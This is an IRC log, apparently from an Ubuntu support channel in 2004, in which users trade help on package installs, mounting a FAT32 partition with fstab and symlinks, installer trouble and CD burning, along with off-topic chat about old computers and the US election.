[06:45] <deFrysk> xfce4.2 rules too btw
[06:46] <deFrysk> http://www.geocities.com/johanvrt/Screenshot.png
[06:46] <Drago> also I seem not to be able to get bittorrent working. it needs libgtk2.3 or greater but says that only 2.2 or under is installed. I don't see 2.3 in the package manager.
[06:46] <Disharmony> hey can anybody provide some llinks to debian ustable mirrors?
[06:46] <billytwowilly> Also, how do I turn off the lame "This file has X extension but is Y please change extension or use openwith to select application"?
[06:46] <Cred> Fluxbox would be my choice.. I liked it.
[06:46] <deFrysk> Drago, apt-get install bittorrent-gui
[06:46] <kensai> deFrysk: so how do I fix it not searching for ext3 ?
[06:46] <erik> Disharmony: deb http://debian.lcs.mit.edu/debian unstable main contrib non-free
[06:46] <deFrysk> kensai, dont know to be honest
[06:46] <Disharmony> thanks erik
[06:47] <erik> np Disharmony
[06:47] <Cred> Thanks deFrysk
[06:47] <deFrysk> or apt-get install bittornado-gui
[06:47] <deFrysk> bittornado rules
[06:48] <bluefoxicy> the Ubuntu install i386 warty CD, in custom mode, can't seem to read my partition table
[06:48] <bluefoxicy> fdisk and the partitioner do it
[06:48] <bluefoxicy> but the kernel isn't seeing any partitions
[06:48] <Isbiten> Im having problem with my keyboard and ubuntu, Im using one of those old mini keyboard that came with the old imacs
[06:48] <bluefoxicy> I can't find the pcbios partition module?
[06:48] <Isbiten> I can't do 'at' signs etc
[06:49] <Treenaks> Mirno: please take it to #politics
[06:49] <cardador> Mirno: nothing to be happy about, i think :\
[06:49] <deFrysk> Treenaks, #amateurs you mean ?
[06:50] <bluefoxicy> Anyone know about the installer being difficult/broken?
[06:50] <Treenaks> deFrysk: no, #politics
[06:51] <billytwowilly> does gnome have something like kprinter?
[06:51] <Mirno> Treenaks,  sorry, was a broadcast should have left the channel before broadcasting it, I apologize.
[06:51] <karto> woooot... firefox 1.0RC1 has backspace for back!!!!
[06:51] <Drago> adding normal debian mirrors into my sources list wont mess up ubuntu will it?
[06:52] <bluefoxicy> it's saying drievers like ide-mod etc are not available
[06:53] <baluba> Drago, the universe is not enough?
[06:53] <cyrus-tc> is there a modul for 3w-xxxx loadable after booting from cd? i can't try - not at home
[06:53] <baluba> ciao merlin0
[06:53] <spiv> Drago: http://www.ubuntulinux.org/support/documentation/faq/helpcenterfaq.2004-09-15.7453904394
[06:53] <merlin0> ciao baluba
[06:54] <MeAndU> I wont to mount a folder is it possible
[06:55] <cardador> MeAndU: explain yourself better
[06:55] <cardador> MeAndU: what exactly you want to mount?
[06:55] <Drago> okay
[06:55] <merlin0> folder is a directory?
[06:55] <karto> is there a way to add the "click middle mouse scroll" to firefox?
[06:55] <Drago> thakns
[06:56] <karto> same as in windows
[06:56] <bluefoxicy> so is Ubuntu terminally broken?
[06:56] <baluba> karto, is not there?
[06:57] <MeAndU> cardador, I wont to mount  single folder which has my media sound and video in my /home. I currently access it by mounting the hole partition a fat32 part
[06:57] <bluefoxicy> considering the installer refuses to find my partitions when I managed to somehow install sarge and gentoo, and fdisk lists partitions, and the ubuntu partitioner lists them
[06:57] <deFrysk> karto,  yes
[06:57] <karto> baluba, like tis http://www.linuxquestions.org/questions/history/238860
[06:57] <bluefoxicy> it's as if my kernel has no code in it for reading the partition table
[06:57] <deFrysk> in options preferences
[06:58] <deFrysk> edit > preferences
[06:58] <Treenaks> bluefoxicy: it does, don't worry
[06:58] <bluefoxicy> Treenaks:  Well it can't seem to find my partitions
[06:58] <cardador> MeAndU: you should edit /etc/fstab and add: /dev/hda? /home/meandu/media&sound auto auto,users,exec       0       0
[06:58] <bluefoxicy> the installer won't format hda8 because the kernel can't find the device
[06:58] <Treenaks> bluefoxicy: then there's a problem somewhere else
[06:58] <karto> :D ... thx deFrysk
[06:58] <deFrysk> karto, set it in advanced to autoscrolling
[06:59] <karto> ive been looking in all the wrong places - missed the obvious
[06:59] <cardador> MeAndU: where i write hda? you should put the number of your partitin
[06:59] <bluefoxicy> Treenaks:  The problem is that it has ide-disc loaded, it sees a /dev/ide/host0/bus0/target0/lun0/disc, but no partitions
[06:59] <MeAndU> cardador, can i test that command line before i add it
[06:59] <karto> damn i've been missing that feature ... my fingers are lazy
[06:59] <merlin0> MeAndU: is not possible (in my knowledge)
[06:59] <cardador> MeAndU: yes
[06:59] <erik> ugh
[06:59] <deFrysk> karto, never say "like in windows" again , or you might crash , like in windows
[06:59] <bluefoxicy> Treenaks:  I can make devices to access those partitions, but the kernel says no such device.
[06:59] <erik> how do you get the "Applications/system" menu back if it is deleted?
[07:00] <cardador> MeAndU: mount /dev/hda???? /home/meandu/media&sound??
[07:00] <bluefoxicy> Treenaks:  now where else do you suppose the problem is?
[07:00] <deFrysk> erik rightclick the panel
[07:00] <baluba> karto, check this preference and change it to 'true'
[07:00] <baluba> karto, general.autoScroll
[07:00] <deFrysk> erik, and add do blah and select
[07:00] <merlin0> cardador: he want mount only a folder of his windows partition
[07:00] <cardador> windows?
[07:01] <MeAndU> cardador, No that will mount the whole partition, what i want is a single folder from that partition
[07:01] <karto> sometimes i boot to winXP just to see how long it takes before it locks up on me... maybe i should write a program to do those random lockups for ubuntu?
[07:01] <karto> thx baluba - got it already ;)
[07:01] <baluba> karto, ok
[07:01] <cardador> MeAndU: ahh, dont know if it is possible. sorry i didnt understand
[07:02] <MeAndU> merlin0, What if i mount the partition somewhere and then mount the folder from that location
[07:02] <merlin0> MeAndU: reserve a windows partition for that data, then mount it
[07:02] <bluefoxicy> this is terminally broken  >/
[07:02] <darkpines> MeAndU, Or mount the partition in /mnt and then make a symbolic link in home for your folder.
[07:02] <merlin0> MeAndU: you can mount a device ( a partition)
[07:03] <MeAndU> merlin0, Sure I can do that but mounting a folder is not possible
[07:03] <merlin0> yes, darkpines is elegant solution
[07:04] <merlin0> use symbolic links
[07:04] <MeAndU> if the folder is /mnt/hdd6/media what will be the link command to /home/meandu
[07:04] <deFrysk> ln -s blah
[07:05] <bluefoxicy> I can't fix this, the modules that i need just aren't there, or i don't know what they are; in either case, the installer sure as hell can't find any modules related to actually letting the kernel understand what's on my disk
[07:06] <darkpines> MeandU, ln -s /mnt/hdd6/media /home/meandu/nameyougivethefolder
[07:07] <cardador> bluefoxicy: have you checked your iso md5?
[07:07] <bluefoxicy> cardador: i'll do that
[07:08] <bluefoxicy> this may take a while
[07:08] <MeAndU> darkpines, I got this error hard link not allowed for directory
[07:09] <bluefoxicy> a491903a2d2197651864dec3836d85e0  /data/cd_images/warty-release-install-i386.iso
[07:09] <bluefoxicy> a491903a2d2197651864dec3836d85e0  warty-release-install-i386.iso
[07:09] <billytwowilly> nautilus is driving me nuts. How do I turn off the stupid protection to stop me from opening files with the wrong extension?
[07:09] <bluefoxicy> cardador:  looks right.
[07:09] <darkpines> MeAndU, you probably have to mount the partition with permissions for your user
[07:10] <bluefoxicy> cardador:  is expert mode broken?
[07:10] <MeAndU> darkpines, Can i do it from command line ( only root can mount )
[07:11] <cardador> bluefoxicy: dont know,  i have used without an hitch
[07:11] <darkpines> MeAndU, Add to your /etc/fstab so it automounts with user permissions.  Is this a vfat partition?
[07:11] <cardador> *have used it
[07:12] <bluefoxicy> cardador:  willing to step through with me?
[07:12] <MeAndU> darkpines, Yes its a fat32 part, but i want to test before i add to fstab
[07:13] <MeAndU> darkpines, fstab needs a reboot right !
[07:13] <cardador> bluefoxicy: i am not a linux expert, just an enthusiast :)
[07:13] <bluefoxicy> meh
[07:14] <bluefoxicy> does anyone here want to walk through an install with me?
[07:14] <bluefoxicy> it's like 5 steps before it breaks
[07:14] <cardador> bluefoxicy: you can try me, and maybe one of ubuntu guru might help
[07:14] <bluefoxicy> k
[07:14] <bluefoxicy> boot:  expert acpi=off
[07:15] <darkpines> MeAndU, no reboot necessary, after you edit fstab, type mount -a and it will go through the routine.
[07:15] <bluefoxicy> choose language:  English; choose location:  United States; select a keyboard layout:  PC style, American English
[07:15] <bluefoxicy> Detect and mount CD-ROM
[07:16] <bluefoxicy> bunch of modules, continue, don't prompt for module parameters
[07:16] <bluefoxicy> start PC card services
[07:16] <bluefoxicy> Unable to load some modules:  natsemi, ide-mod, ide-probe-mod, ide-detect, ide-floppy
[07:17] <bluefoxicy> Tune CD-rom:  -X69 -u1 -d1; found warty warthog 4.10
[07:17] <nesman89> windows network question
[07:17] <bluefoxicy> load installer components (selected none).  DEtect network hardware (natsemi), unavailable drivers:  Ide-mod, ide-probe-mod, ide-detect, ide-floppy
[07:18] <altan> by the way, it appears that there is a problem with location settings, when I had location set to Turkey when I installed Ubuntu I got a bunch of warnings when starting XWindows programs from the command line about C headers do not support locale or something that would repeat as long as the program was open
[07:18] <altan> I stopped this from happening by switching my location to the US
[07:18] <bluefoxicy> static config on the network
[07:18] <cardador> bluefoxicy: whats your computer arquit.? 386 amd, etc
[07:18] <nesman89> i browse to windows network and get an access denied wrong permissions.  any ideas
[07:18] <bluefoxicy> detect hardware.  Unavailable modules:  ide-mod, ide-probe-mod, ide-detect, ide-floppy
[07:19] <bluefoxicy> cardador: Compaq Presario 2100 with DEbian Sarge, ReactOS, and Gentoo LInux on it.  AMD Athlon XP barton core.
[07:19] <bluefoxicy> partition disks.
[07:19] <cardador> bluefoxicy: which iso you have?
[07:20] <bluefoxicy> it shows #1 #5 #6 #7 #8 #9 in the partitioner (Ide1 master hda 60.0GB IC25N060ATMR04-0)
[07:20] <Disharmony> is there any gui tool to mount partitions in ubuntu?
[07:20] <bluefoxicy> cardador:  http://releases.ubuntu.com/warty/warty-release-install-i386.iso
[07:21] <MeAndU> darkpines, I added mount to fstab with auto auto,users,exec 0 0 but still got the hard link not allowed for directory
[07:21] <bluefoxicy> finish partitioning, format hda8
[07:21] <cardador> bluefoxicy: ok. dont have a clue whats your problem. maybe you can ask it on ubuntu user list
[07:21] <bluefoxicy> Cannot create filesystem on partition 8 of IDE1 Master (hda)
[07:21] <cyrus-tc> may _anybody_ take a look into the intitial kernel configuration if there is a modul for 3w-xxxx? thank you
[07:22] <nesman89> any thoughts on connecting to windows network?
[07:22] <bluefoxicy> cat: hda8: No such device or address
[07:22] <MeAndU> darkpines, I still dont have user access to the mounted partition
[07:22] <cardador> nesman89: computer > syst conf > networking > general > windows networking
[07:23] <cardador> nesman89: you should install samba though
[07:23] <darkpines> MeAndU Did you try mount -a after you edited fstab?
[07:23] <MeAndU> darkpines, yes
[07:23] <helkanaur> Hmm.. my XMMS is playing the songs _really_ fast, 3 sec on a song thats 4 min. oO  And no sound..
[07:23] <helkanaur> Someone told me to change 'output-plugin' .. (?)
[07:23] <nesman89> i can connect using the connect to computer option than putting in the computer name.  i was just wondering  there was an issue browsing to the share.
[07:24] <MeAndU> darkpines, It did mount i can see the files but no access as user
[07:24] <rapha> Hi all!
[07:25] <darkpines> MeAndU In my fstab, I just use umask=0, and it works
[07:26] <MeAndU> darkpines, ok i will try that
[07:27] <MeAndU> darkpines, where does it fit any where in the line
[07:27] <bluefoxicy> the regular guided install can't do it either.
[07:29] <cardador> bluefoxicy: thats weird, because you dont have problems with plain debian
[07:29] <MeAndU> darkpines, I now have access to the mounted folder as user but still got the hard link not allowed for directory
[07:29] <jind> Hey, no ops?
[07:29] <darkpines> MeAndU For example, my window partition is mounted: /dev/hde1  /mnt/windows/  vfat umask=0,iocharset=iso8859-1,codepage=850 0 0
[07:29] <Mithrandir> jind: chanserv.
[07:29] <j^> is the arch mirror of cvs.gnome.org a myth or does it exist? i do not want to wait for the anoncvs.gnome.org anymore.
[07:29] <bluefoxicy> cardador:  It's weird, because I apparently have to jump through fewer hoops to install Gentoo; and these hoops appear to be on fire.
[07:31] <cardador> bluefoxicy: try asking in the mail list
[07:32] <MeAndU> darkpines, Thanks a lot Its ok now i changed the option from -S to -s
[07:32] <darkpines> MeAndU Great
[07:32] <MeAndU> darkpines, Many Thanks
[07:33] <darkpines> MeAndU No problem, have fun
[07:36] <baluba> bye
[07:43] <betadan> hello?
[07:43] <jdz`> Hi
[07:44] <betadan> ok here goes, i have ubuntu x86_64 and when i try to ./configure certain programs  i get this error: No package 'libglademm-2.4' found
[07:44] <betadan> configure: error: Library requirements (libglademm-2.4 libxml++-2.6) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a nonstandard prefix so pkg-config can find them.
[07:45] <betadan> so i go to synaptic and look for libglademm and all i get is version 2.0 which is already installed
[07:45] <betadan> burt i need 2.4 amd it's not showing up
[07:45] <betadan> *and
[07:46] <betadan> any ideas?
[07:49] <betadan> ok here goes, i have ubuntu x86_64 and when i try to ./configure certain programs  i get this error: No package 'libglademm-2.4' found
[07:49] <betadan> so i go to synaptic and look for libglademm and all i get is version 2.0 which is already installed
[07:50] <betadan> but i need 2.4 and it's not showing up
[07:52] <Xenguy> Any idea what the disk space requirements are for a standard Ubuntu 'desktop' installation?
[07:52] <Xenguy> er, hello :-)  --^
[07:53] <Nonphasis> /dev/sda2              9775248   5320340   4454908  55% /
[07:53] <Nonphasis> /dev/sda2               11G   5.5G   4.6G  55% /
[07:53] <Nonphasis> 5.5 gig used
[07:53] <Disharmony> 1.5gb i think plus swapspace
[07:53] <Nonphasis> though that has lotsa "non-required" stuff
[07:53] <Xenguy> Nonphasis: nod - tx
[07:54] <Xenguy> Disharmony: that sounds more my speed :-)
[07:54] <Nonphasis> apparently i only have 1 gig at /home
[07:55] <Nonphasis> so I guess you *will* come to need something like 4 gig
[07:56] <Sensebend> how many are running Hoary?
[07:56] <Xenguy> Nonphasis: that sounds high to me (but I have no real idea yet)
[07:56] <Disharmony> i have mine on about 3 gb but not much free space left 600-700MB
[07:56] <Nonphasis> what size is your hd?
[07:57] <iz> xmms crash
[07:57] <Xenguy> Nonphasis: I was going to try on a spare HD but they are old/small, so I may have to re-think this
[07:57] <epod> The other day someone sent me to an ubuntulinux.org page that not only showed how to install the ndiswrapper, but how to save the settings for it.  Can anyone refer me to that url?
[07:57] <Disharmony> me?
[07:57] <Nonphasis> xmms does crash with nvidia binary drivers, yes
[07:57] <iz> aha
[07:57] <iz> Nonphasis, solution?
[07:57] <someone> epod: i thought ubuntu came with ndiswrapper
[07:57] <Nonphasis> iz, my solutions was to use bmp as media player
[07:58] <iz> :)
[07:58] <iz> tnx
[07:58] <Nonphasis>  beep-media-player that is
[07:58] <Nonphasis> rhythmbox sucks
[07:58] <epod> someone, well, you have to download it, but there was a way to save my settings so it automatically came up on boot-up
[07:58] <betadan> where do i get libglademm-2.4?
[07:58] <iz> apt-get install beep-media-player
[07:58] <someone> epod: try modprobe ndiswrapper
[07:58] <iz> :)
[07:59] <epod> one of the ubuntu pages had a whole writeup on it
[07:59] <epod> but it's *not* the ndiswrapper howto, that just says how to install it
[07:59] <torben> Hi! Anyone from Denmark in here?
[07:59] <strestout1__> epod, im having the same problem
[08:00] <strestout1__> sometimes i even have to rmmod ndiswrapper, modprobe ndiswrapper before it works
[08:00] <Disharmony> anybody tried the linuxant drivers with ubuntu? maybe even with an Apache HCF modem(long shot)?
[08:00] <someone> if you can: modprobe ndiswrapper without error..then you can add it to...  /etc/modules
[08:00] <epod> strestout1__, yeah, and I know the answer is on the ubunti site, I just can't find the page :D
[08:00] <epod> brb
[08:00] <strestout1__> wiki.ubuntu.com
[08:00] <strestout1__> go to how-tos
[08:00] <strestout1__> should be near the top
[08:01] <iz> Nonphasis are there skins for the beeb-media-player?
[08:01] <cardador> iz: you have ubuntu skin :D
[08:01] <iz> :)
[08:01] <RuffianSoldier> hi iz
[08:02] <RuffianSoldier> LN/Ubuntu Users For LIFE!
[08:02] <iz> hi RuffianSoldier
[08:02] <iz> apt-cache search beep-media-player
[08:02] <iz> nope skinz
[08:04] <Scognito> hi
[08:04] <Nonphasis> iz, i dunno, never bothered to skin anything
[08:04] <Scognito> i have a veeeeeeery long boot (70 seconds before gdm start)
[08:04] <Scognito> is it normal?
[08:04] <RuffianSoldier> =)
[08:04] <RuffianSoldier> :)
[08:04] <Scognito> i have p3, and only ftp as server
[08:04] <Nonphasis> I sometives even prefer to play music on mplayer on console :)
[08:05] <Nonphasis> Scognito, does it stop on something in particular?
[08:05] <RuffianSoldier> apt-get install aptitude :-p
[08:05] <Nonphasis> Scognito, though it doesn't sound abnormally long
[08:06] <Nonphasis> and yeah, Bush won :)
[08:07] <Scognito> Nonphasis, it is slow compared on my old debian
[08:07] <Nonphasis> Scognito, does the flow of messages stop somewhere?
[08:07] <Scognito> nothing in particular slow the boot
[08:08] <Nonphasis> ubuntu does more stuff than debian on boot
[08:08] <Scognito> i know
[08:08] <Scognito> in fact i wish to remove something
[08:08] <iz> wow cewl beep-media-player used also xmms skins
[08:08] <Scognito> in particular devfs
[08:08] <Nonphasis> doesn't U use udev?
[08:09] <Scognito> i use it
[08:09] <iz> copy the skin into the subdir skins .bmp/Skins/
[08:09] <Nonphasis> iz, good to know
[08:09] <Scognito> but i don't know how to remove it
[08:09] <Nonphasis> Scognito, why do you care about boot speed? laptop?
[08:10] <Scognito> no
[08:10] <Erix> hi
[08:10] <Scognito> but it is irritating, becasue debian boot is double speed
[08:10] <Scognito> hi Eri
[08:10] <Nonphasis> k
[08:11] <epod> new kernel
[08:11] <epod> reboot time
[08:11] <Nonphasis> I rarely boot, perhaps once/twice a day
[08:11] <MyKq3> how can i improve performance on my UbuntuLinux system  ?
[08:11] <rapha> MyKq3: Use the console :=)
[08:12] <rapha> Seriously; what kind of performance would you like to increase?
[08:12] <Nonphasis> MyKq3, there's a slider in Control panel, just move the performance to max
[08:12] <shaver_> heh
[08:12] <MyKq3> :) rapha no big use there i still feel that the system is a bit havy then the dsy i installed it :\
[08:13] <rapha> MyKq3: you are saying system performance decreased for you?
[08:13] <sean_> anybody know anything about configuring cd burners?
[08:13] <iz> k3b?
[08:13] <sean_> ubuntu doesnt seem to have set up scsi emulation for mine
[08:13] <MyKq3> rapha,  yeah :\ and i don't know y
[08:13] <Nonphasis> if i had to pick one gripe about Ubuntu, it would be the cd burning
[08:14] <rapha> MyKq3: Then something's wrong. This happens to Windows systems, but not to Linux systems, generally speaking.
[08:14] <rapha> Nonphasis: I second that.
[08:14] <sean_> I installed gcombust and checked the loaded modules and ubuntu is just oblivious to the fact that the drive is a burner
[08:14] <rapha> Nonphasis: Well, files and ISOs are fine. But copying CDs and MP3->Audio CD is weak.
[08:14] <sean_> any ideas on prompting it to recognise it?
[08:15] <Nonphasis> nautilus used to work, but not anymore
[08:15] <rapha> sean_: What does Nautilus say? Does Nautilus recognize your burner?
[08:15] <Nonphasis> and k3b doesn't work either
[08:15] <rapha> Nonphasis: Eh? It works just fine here...
[08:15] <Gladiak> hi
[08:15] <MyKq3> rapha,  i know that . thats the resone i want to check whats wrong but i don't know how... does not  the linux sys have any error log
[08:15] <Nonphasis> i probably need to set up scsi emulation
[08:15] <Nonphasis> or remove that temporary slave hd from the ide channel
[08:15] <rapha> Nonphasis: You shouldn't have to on a 2.6 system. SCSI emulation is pre-2.6.
[08:15] <MyKq3> sach as macsys ans Windows
[08:16] <sean_> rapha: nautulis doesnt see it at all , it only offers the option to burn to a file image
[08:16] <Nonphasis> rapha, i thought so too, but burning just doesn't work anymore for me.
[08:16] <rapha> MyKq3: There's /var/log/messages and /var/log/syslog. Those are the two files you can check.
[08:16] <MyKq3> rapha,  thanks
[08:16] <Nonphasis> MyKq3, is the system jerky?
[08:16] <Gladiak> i have a problem with acpi on a hp pavilion...it seems like a very low refresh rate. some suggestion ?
[08:16] <rapha> sean_: Wierd. Do you have another burner?
[08:16] <MyKq3> Nonphasis,  jerky ? whats that ?
[08:17] <Nonphasis> MyKq3, i mean sound stutter, jerky mouse movewent
[08:17] <rapha> Nonphasis: just out of the blue? I find that hard to believe; can you remember what you did prior to burning not working anymore?
[08:17] <sean_> I'm afraid not , its the only one I have
[08:17] <Nonphasis> rapha, a series of apt-get upgrades
[08:17] <plovs> what is the best way to copy an audio cd on ubuntu?
[08:17] <Gladiak> i have a problem with acpi on a hp pavilion...it seems like a very low refresh rate. some suggestion ?
[08:17] <Nonphasis> rapha, and added that one hd to the ide channel, which i suppose might cause problemn
[08:18] <MyKq3> Nonphasis,  no  i don't have any problems with the mouse or the windows movements .... the problem is that some times the system get stuck or gets slown down every few sec for few sec
[08:18] <MyKq3> Nonphasis, my guess its a bad package ;\
[08:19] <Nonphasis> MyKq3, during disk access?
[08:19] <iz> MyKq3, i have the same problem when the screensaver start you see it stop every 2 seconds
[08:19] <MyKq3> Nonphasis, no any activity
[08:19] <MyKq3> iz yeah itz a good E,G,
[08:19] <Nonphasis> MyKq3, sounds like misbehaving hardware or drivers...
[08:20] <MyKq3> Nonphasis, it  can b driver problem :\
[08:20] <MyKq3> it could*
[08:20] <Nonphasis> MyKq3, /v/l/messages sounds like a place to check
[08:20] <MyKq3> Nonphasis, thanks
[08:20] <iz> i think first the it was the nvdiadrvier
[08:20] <iz> argh
[08:21] <iz> MyKq3, what sort of motherboard do you have?
[08:21] <MyKq3> thanks u all
[08:21] <MyKq3> iz i have asus MB and i have Hercules VD
[08:21] <iz> asus a7v?
[08:22] <MyKq3> hum.... i don't remmber ...
[08:22] <MyKq3> iz  do u think its a agp problem ?
[08:22] <Nonphasis> do "lspci"
[08:22] <epod> How do I get my laptop listed in the hardware compatibility thing for ubuntu
[08:22] <iz> i think that i must do a bios update maybe there's the solution
[08:22] <epod> ?
[08:23] <Nonphasis> MyKq3, it will show you the chipset
[08:23] <MyKq3> Nonphasis,  what will slow my chip set?
[08:23] <iz> lspci
[08:23] <Nonphasis> MyKq3, first line for me is  Host bridge: VIA Technologies, Inc. VT8377 [KT400/KT600 AGP]  -- I have kt400
[08:24] <MyKq3> Nonphasis,  so y should i do lspci ? ....
[08:24] <iz> 0.0
[08:24] <iz> Host bridge: VIA Technologies, Inc. VT8385 [K8T800 AGP]  Host Bridge
[08:24] <iz> :)
[08:24] <Nonphasis> amd64?
[08:24] <iz> yup
[08:24] <Nonphasis> nice
[08:24] <RuffianSoldier> "No, He Will Get Us All Killed!"
[08:25] <MyKq3> plz wait i want to read about lspci ( i m still a newb :\)
[08:25] <iz> RuffianSoldier, alien?
[08:25] <RuffianSoldier> Bush
[08:25] <RuffianSoldier> :-p
[08:25] <Nonphasis> MyKq3, just type "lspci" in terminal
[08:25] <iz> without the "
[08:25] <MyKq3>  VIA Technologies, Inc. VT82C686 [Apollo Super ACPI]  (rev 30)
[08:26] <iz> k i must boot new kernel, seeyaso
[08:26] <Nonphasis> aha, via chipset. oldish, should be well supported...
[08:27] <MyKq3> yeah itz an old machine ... 5 years old :>>
[08:28] <rapha> make: no: command not found???!
[08:28] <MyKq3> apt-get install make
[08:29] <rapha> MyKq3: No, the command that wasn't found _by_ make is "no". And I've never heard of a "no", just of a "yes".
[08:29] <RuffianSoldier> apt-get install aptitude :-p
[08:30] <servo888> afternoon
[08:30] <linux_mafia> morning
[08:30] <MyKq3> night....
[08:30] <servo888> So... ubuntu is a debian based distro right?
[08:30] <Cuga_> yep
[08:30] <servo888> Does it also use apt-get?
[08:30] <Treenaks> yes
[08:31] <servo888> So why would somebody choose ubuntu against debian?
[08:31] <iz> servo888, the installer, hardwaresupport etc
[08:31] <Treenaks> servo888: because it's a nice package deal (easier install, less hassle with finding packages, default working graphical desktop)
[08:31] <Cuga_> If you want a snapshot of debian unstable that has fixes and security updates.. that was my comeover from debian
[08:32] <Cuga_> 6 month release cycle is very appealing aswell
[08:32] <servo888> hmm ok - I'll see. I'll create another partition and give unbuntu a try...
[08:34] <Nonphasis> i was also running Sid
[08:34] <epod> can anyone direct me to the ndiswrapper setup page that is not http://www.ubuntulinux.org/support/documentation/howto/helpcenterhowto.2004-10-07.7773155363 ? The one that shows how to get ndiswrapper to save your settings so that they come up on boot?
[08:34] <Nonphasis> but got bored of it breaking all the time
[08:35] <Cuga_> i did a dist-upgrade to sid on a bad day... :S then remembered reading bout ubuntu and i never looked back
[08:36] <epod> Ubuntu has the easiest install for the ati drivers I have ever seen
[08:36] <Nonphasis> asking questions on #debian can also be an Ubuntu-motivator ;-)
[08:36] <epod> lol
[08:37] <epod> I can't find the page, I *know* I read it before, someone in this channel directed me to it.  Grr!
[08:37] <strestout_ubuntu> anyone here try beagle on ubuntu yet?
[08:37] <epod> what's beagle?
[08:38] <Cuga_> isn't that some kinda ip tracker ?
[08:38] <Nonphasis> "ndiswrapper" even *sounds scary
[08:38] <Cuga_> or am I thinking of something else
[08:38] <strestout_ubuntu> no its the new search system for gnome
[08:38] <epod> Nonphasis, it works just fine
[08:38] <strestout_ubuntu> kinda like winfs is suppossed to be for windows
[08:38] <Nonphasis> beagle is kinda google for local computer
[08:38] <strestout_ubuntu> there u go
[08:38] <Cuga_> ahh nice
[08:38] <strestout_ubuntu> im trying to install it now and was just wondering if anyone had tried
[08:39] <Nonphasis> it's in Mono, right?
[08:39] <asimon> Will there be security updates for the unsupported packages in universe/multiverse too?
[08:39] <Cuga_> asimon, no
[08:39] <Nonphasis> asimon, no, hence "unsupported"
[08:39] <strestout_ubuntu> Nonphasis: yes its in mono
[08:40] <strestout_ubuntu> it now requires a kernel patch too
[08:40] <Nonphasis> kernel patch... ouch
[08:40] <Nonphasis> was it "inotify" or...?
[08:40] <asimon> Too bad. But thanks.
[08:40] <Pete-Gas> has anyone gotten openoffice to print for them using ubuntu?
[08:41] <Nonphasis> asimon, therefore, it might be a good idea to not run network facing stuff from universe
[08:41] <rapha> Nonphasis: for Beagle? Yes, inotify.
[08:41] <Nonphasis> I suppose inotify will be in hoary kernel soon
[08:41] <lev> Pete-Gas: yeah, that works for me.
[08:42] <Pete-Gas> what command do you feed openoffice in the printer admin?
[08:42] <lev> Pete-Gas: ???
[08:42] <Pete-Gas> did you have to setup your printer in the openoffice printer admin app?
[08:42] <lev> Pete-Gas: all I had to do was set the printer up in the gnome printer utility.
[08:42] <Nonphasis> I never saw the point of bootsplash
[08:42] <Nonphasis> I love all those little details about my hardware :)
[08:42] <rapha> Nonphasis: Well, something for the eye...
[08:43] <Pete-Gas> i set my printer up in the gnome utility also, but openoffice doesnt print for me
[08:43] <lev> Pete-Gas: when I go to print, openoffice sees the printer just fine.
[08:43] <rapha> Heheh. For how long have you been using computers Nonphasis?
[08:43] <epod> Nonphasis, I want a shiny nice screen on boot up like the ubuntu livecd has
[08:43] <lev> Pete-Gas: can you print from something besides OOo?
[08:43] <asimon> Nonphasis: With bootsplash your screen looks nice for the brief time it boots up. That's all.
[08:43] <epod> but I don't know how to do that
[08:43] <Pete-Gas> yea, I can print from every other app I have tried
[08:43] <Nonphasis> rapha, 15 years, give or take
[08:43] <lev> Pete-Gas: I didn't have to do anything special for OOo...
[08:44] <lev> Pete-Gas: is your printer in its drop down menu?
[08:44] <Pete-Gas> yup
[08:44] <Pete-Gas> my printer is working over a network
[08:44] <asimon> Pete-Gas: I used 'kprinter' in OO's printer admin, but that's only good if you use KDE.
[08:44] <Pete-Gas> could that have somethin to do with it?
[08:44] <Nonphasis> ata2: dev 0 cfg 49:2f00 82:346b 83:7d01 84:4003 85:3469 86:3c01 87:4003 88:207f
[08:44] <Nonphasis> what's not to love? ;-)
[08:44] <epod> Can someone tell me how to set up bootsplash, or direct me to where I can find out?
[08:44] <lev> Pete-Gas: could be...dunno.
[08:44] <rapha> Nonphasis: well, for me it's been exactly 16 years. I got my first computer with 6 and am now 22. Some time I decided I'd seen enough boot messages ;-)
[08:45] <pepsi_> 6 doesnt count yo :P
[08:45] <rapha> Why?
[08:45] <pepsi_> i dunno
[08:45] <rapha> Ah.
[08:46] <Nonphasis> you kids had it easy... I was 11 when I got my first computer
[08:46] <Nonphasis> tape drive & the works
[08:46] <Nonphasis> "and we LIKED it"
[08:46] <rapha> Besides that, some non-technical users ARE confused by these messages. Hiding them doesn't hurt, as long as they're still accessible.
[08:46] <Cuga_> apple 2
[08:46] <Cuga_> :)
[08:47] <rapha> Nonphasis: C64 for me. And then a Schneider 8086.
[08:47] <rapha> And next came an 80286, MAN that thing rocked! It even played Test Drive!
[08:47] <Kirsch> hey guys, i'm trying to run the WineCVS.sh script but i'm getting this error: the error reporting is cvs [checkout aborted] : unrecognized auth response from cvs.transgaming.org pam failed to release authenticator
[08:48] <Nonphasis> MSX-SVI 728 -> 8086 -> 486 -> P2 -> Athlon stuff (2 variants)
[08:48] <rapha> I've never heard of a MSX-SVI 728. What was that?
[08:48] <Kirsch> this also might help: PAM start error: Critical error - immediate abort
[08:48] <Nonphasis> Spectravideo 728
[08:48] <rapha> zennow.
[08:48] <rapha> Ah
[08:48] <Nonphasis> "legendary" MSX compatible
[08:48] <Cuga_> Hey i've seen this command before but i can't remember what it is, was a dpkg if i recall... I want to trace what package installed a specific file.. anybody have any idea?
[08:49] <rapha> Cuga_: stupid standard answer "man dpkg" :-)
[08:49] <Nonphasis> I would figure that many current Linux users had one - it was more programmable than C64
[08:49] <Mithrandir> Cuga_: dpkg -S filename
[08:49] <Nonphasis> Cuga_, apt-file might work as well
[08:50] <rapha> Heheh, only thing I did on that C64 was to play games.
[08:50] <Nonphasis> rapha, I know, they all did... with hundreds of warezed games on diskettes
[08:50] <Cuga_> Nice
[08:50] <rapha> Nonphasis: Not that we'd have a clue about "pirated software" back then ;-)
[08:51] <Nonphasis> rapha, well of course not, it being theft and all
[08:51] <rapha> s/we'd have/we've had
[08:51] <Nonphasis> I suppose the Good Man Bush will come down hard on those thieving bastards
[08:51] <epod> hm, gnome-pilot isn't working with my USB hotsync thing.. I have no clue what device it is
[08:51] <epod> :/
[08:52] <rapha> Nonphasis: Despite being German, I'm still very much hoping for a positive outcome of the Ohio/Iowa/New Mexico hand-countings.
[08:52] <rapha> (positive == Kerry)
[08:52] <Nonphasis> rapha, no, Bush won already
[08:52] <Nonphasis> rapha, Kerry gave up
[08:52] <Cuga_> don't matter, Kerry Conceded
[08:52] <rapha> Nonphasis: WHATT?
